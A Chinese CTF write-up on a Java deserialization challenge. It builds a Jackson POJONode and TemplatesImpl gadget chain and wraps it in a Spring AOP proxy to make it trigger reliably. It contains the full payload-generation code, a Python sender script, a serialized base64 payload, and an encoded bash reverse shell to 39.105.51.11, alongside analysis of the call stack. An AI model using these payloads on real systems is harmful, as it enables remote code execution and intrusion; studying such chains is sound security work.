data = open(r"E:\03code_environment\02java\05ctf_cc\dianfengjike_urlbaby\target\classes\com\yancao\ctf\Main.bin", "rb").read()
data = base64.b64encode(data).decode()

print(data)
res = requests.get(url = url+'?payload='+data)
print(res.text)

不知道为什么总是失败,应该问题出在了输出的对象上。

找了不知多久。。终于找到了各种失败的原因。因为在get请求时没有把base64编码后的数据url编码处理,因为存在斜杠的原因,所以失败。!!!

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64
import urllib.parse
url = "http://39.105.51.11:28120/hack"
data = open(r"E:\03code_environment\02java\05ctf_cc\dianfengjike_urlbaby\target\classes\com\yancao\ctf\Main.bin", "rb").read()
data = base64.b64encode(data).decode()
data = urllib.parse.quote(data)
# data = 'rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAbXQAGmNvbS55YW5jYW8uY3RmLnFhcS5VcmxUZXN0dAAMVXJsVGVzdC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0%2FBbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAFTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA%2F%2F%2F%2F%2F3VyAANbW0JL%2FRkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAFWyv66vgAAADQAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEABmEuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAXcHQAA3h4eHB3AQB4'
print(data)
res = requests.get(url = url+'?payload='+data)
print(res.text)

image-20231225234106992

分析2-绕过黑名单打TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.yancao.ctf;


import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
public static String filePath = "E:\\03code_environment\\02java\\05ctf_cc\\dianfengjike_urlbaby\\target\\classes\\com\\yancao\\ctf\\Main.bin";

public static void main(String[] args) throws Exception {
byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);

POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);

setFieldValue(val, "val", node);

ser(val);
unser(filePath);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void unser(String filePath) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath)));
in.readObject();
}

public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}\");";
String block = "Runtime.getRuntime().exec(\"calc\");";

template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
1
2
3
4
5
6
7
8
9
10
import requests
import base64
import urllib.parse
url = "http://39.105.51.11:28120/hack"
data = open(r"E:\03code_environment\02java\05ctf_cc\dianfengjike_urlbaby\target\classes\com\yancao\ctf\Main.bin", "rb").read()
data = base64.b64encode(data).decode()
data = urllib.parse.quote(data)
print(data)
res = requests.get(url = url+'?payload='+data)
print(res.text)

image-20231225235521283

直接拿aliyun的exp打发现没有成功执行命令,是因为在执行之前遇到error了,看此分析,https://www.cnblogs.com/jasper-sec/p/17880638.html

直接用Aliyun CTF的Bypassit1的Exp,改一改直接一把梭。要改的是,解决Jackson反序例化链子的不稳定性,本质是因为调getter的时候,还没调到目标函数就error了。先调用了getStyleSheetDOM,然后报空指针错误,导致后面链子无法触发。解决方案就是封装一层代理,

由于之前没有导入springboot的依赖,而这个代理有部分需要导入。需要指定一下parent,在前文环境配置提到了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.yancao.ctf;


import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
public static String filePath = "E:\\03code_environment\\02java\\05ctf_cc\\dianfengjike_urlbaby\\target\\classes\\com\\yancao\\ctf\\Main.bin";

public static void main(String[] args) throws Exception {
byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);

Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

POJONode node = new POJONode(proxyObj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);

setFieldValue(val, "val", node);

ser(val);
unser(filePath);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void unser(String filePath) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath)));
in.readObject();
}

public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}\");";
// String block = "Runtime.getRuntime().exec(\"calc\");";

template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
1
2
3
4
5
6
7
8
9
10
import requests
import base64
import urllib.parse
url = "http://39.105.51.11:28120/hack"
data = open(r"E:\03code_environment\02java\05ctf_cc\dianfengjike_urlbaby\target\classes\com\yancao\ctf\Main.bin", "rb").read()
data = base64.b64encode(data).decode()
data = urllib.parse.quote(data)
print(data)
res = requests.get(url = url+'?payload='+data)
print(res.text)

image-20231226002101424

image-20231226002114298

image-20231226002516502

总结:

二次反序列化那里,找了不知多久。。终于找到了各种失败的原因。因为在get请求时没有把base64编码后的数据url编码处理,因为存在斜杠的原因,所以失败。!!!

打TemplatesImpl,封装一层代理,解决Jackson反序例化链子的不稳定性。以及springboot的maven配置。

解决Jackson反序例化链子的不稳定性-代理分析:

https://xz.aliyun.com/t/12846

时间有些晚了,日后有空再来追究吧。

image-20231226102637022

主要是参考了Json1链的调用。解决了在springboot环境中,通过Templates接口只有一个getter就是getOutputProperties,进行稳定触发。而在之前的newTransformer链中不需要考虑这些问题。这些都是由getter触发引来的问题。

再来看TemplatesImpl的getter调用链:

之前以为的触发getter方法是那个链子中的随意一个getter方法,发现不是的。应该getOutputProperties方法,对于cc3是newTransformer方法,getOutputProperties方法就是调用了其newTransformer方法。来分析一下。

image-20231226100837030

我们来看一下调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
System.out.println("Hello world!");

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class"));
byte[][] codes = {code};
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,codes);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();
templates.getOutputProperties();
1
2
3
4
5
6
7
8
9
10
<clinit>:14, Evil (org.example)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
main:44, Main (org.example)

image-20231226101059341

所以对于templates.newTransformer(); templates.getOutputProperties();两种方法均可具体得看是触发getter还是newTransformer。getTransletInstance之所以不可以是因为这是一个私有方法。getTransletIndex它没有调用newInstance所以也不行,但是必须经历这个过程,所以getter就是指的getOutputProperties。至于getter相关的,_outputProperties对应的getOutputProperties还不太理解,不太影响。

对于Fields和Properties的理解:

https://xinxingastro.github.io/2018/07/21/Java/Java%E4%B8%ADfield%E5%92%8Cproperty%E7%9A%84%E5%8C%BA%E5%88%AB/

field指那些在类的内部,不能被外界看到的私有成员变量。property指的是在对象内部可以被用户设置或者读取的属性,比如那些有getter/setter方法的属性。我们新建一个Person类,在没有设置getter/setter方法时,name和age都是field,然后我给name添加getter/setter方法后,getName(), setName()和name就变成了一个property。

 Comments